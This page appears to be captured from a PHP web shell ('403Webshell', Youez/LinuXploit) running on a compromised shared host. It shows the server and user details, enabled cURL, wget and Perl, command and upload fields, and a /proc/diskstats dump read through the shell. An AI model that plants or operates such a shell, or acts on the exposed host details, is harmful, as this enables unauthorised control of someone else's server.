403Webshell
Server IP : 74.208.236.79  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux infongp-us50 4.4.400-icpu-108 #2 SMP Wed Feb 11 10:12:42 UTC 2026 x86_64
User : u93192080 ( 6162215)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/proc//diskstats
   1       0 ram0 0 0 0 0 0 0 0 0 0 0 0
   1       1 ram1 0 0 0 0 0 0 0 0 0 0 0
   1       2 ram2 0 0 0 0 0 0 0 0 0 0 0
   1       3 ram3 0 0 0 0 0 0 0 0 0 0 0
   1       4 ram4 0 0 0 0 0 0 0 0 0 0 0
   1       5 ram5 0 0 0 0 0 0 0 0 0 0 0
   1       6 ram6 0 0 0 0 0 0 0 0 0 0 0
   1       7 ram7 0 0 0 0 0 0 0 0 0 0 0
   1       8 ram8 0 0 0 0 0 0 0 0 0 0 0
   1       9 ram9 0 0 0 0 0 0 0 0 0 0 0
   1      10 ram10 0 0 0 0 0 0 0 0 0 0 0
   1      11 ram11 0 0 0 0 0 0 0 0 0 0 0
   1      12 ram12 0 0 0 0 0 0 0 0 0 0 0
   1      13 ram13 0 0 0 0 0 0 0 0 0 0 0
   1      14 ram14 0 0 0 0 0 0 0 0 0 0 0
   1      15 ram15 0 0 0 0 0 0 0 0 0 0 0
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0
   8      16 sdb 17033129833 93038109131 881102380357 1948708544 2064280341 0 16514242728 210916452 0 1277372904 2158171132
   8       0 sda 67372364 181917 5956590534 9461944 382247553 959658438 28624565104 96932968 0 14563756 105965604
   8       1 sda1 4505 789 283984 964 321686 597384 7357208 66204 0 10424 67104
   8       2 sda2 67364188 181128 5956060630 9460520 381920661 959061054 28617166248 96866664 0 14553744 105884836
 253       0 dm-0 41043 0 4476378 12188 201462 0 10585824 16896 0 9672 29100
 253       1 dm-1 639 0 14578 120 453895 0 3641880 2096 0 704 2216
 253       2 dm-2 551372 0 46109786 155044 195528 0 3329216 55880 0 113504 211084
 253       3 dm-3 187861 0 36032042 29452 23370007 0 237272864 763260 0 108316 795196
 253       4 dm-4 9778151 0 852043904 4122808 204922064 0 2662244440 80544036 0 3462324 84744548
 253       5 dm-5 5284302 0 343039986 1045916 7365929 0 67579664 10749660 0 796048 11797604
 253       6 dm-6 718102 0 115309010 62644 41374951 0 530902888 4322448 0 270156 4414508
 253       7 dm-7 50217388 0 4543915786 3297648 1046416553 0 25101609472 94974560 0 9739252 98385116
 253       8 dm-8 1617975819 0 12943811585 1598489288 1122883510 0 8983068080 2661906824 0 154049668 4261739264
 253       9 dm-9 1566403646 0 12531234201 1577045280 350580659 0 2804645272 867708000 0 139398168 2445241464
 253      10 dm-10 30546915298 0 244375327417 406211276 449185530 0 3593484240 716795244 0 587047244 1126692440
 253      11 dm-11 76362218194 0 610897750585 2687732620 126750773 0 1014006184 240557236 0 556524732 2935126564
 253      12 dm-12 42723406 0 341792281 130828996 14879869 0 119038952 18608424 0 26309144 149454344
 148       0 mars/infong1276 0 0 0 1058003400 0 0 0 3506632196 4275231565 160490464 2545574308
 148       1 mars/infong925 0 0 0 1458967608 0 0 0 1689247748 1950596242 181594196 2253303096
 148       2 mars/infongp-us51 0 0 0 3615395516 0 0 0 4044073232 3773321037 178044212 715804216
 148       3 mars/infongp-us50 0 0 0 2667041668 0 0 0 815116912 3539122575 177621876 1270608932
 148       4 mars/infong1546 0 0 0 2033086060 0 0 0 941360420 2451806281 173226844 2504222240

Youez - 2016 - github.com/yon3zu
LinuXploit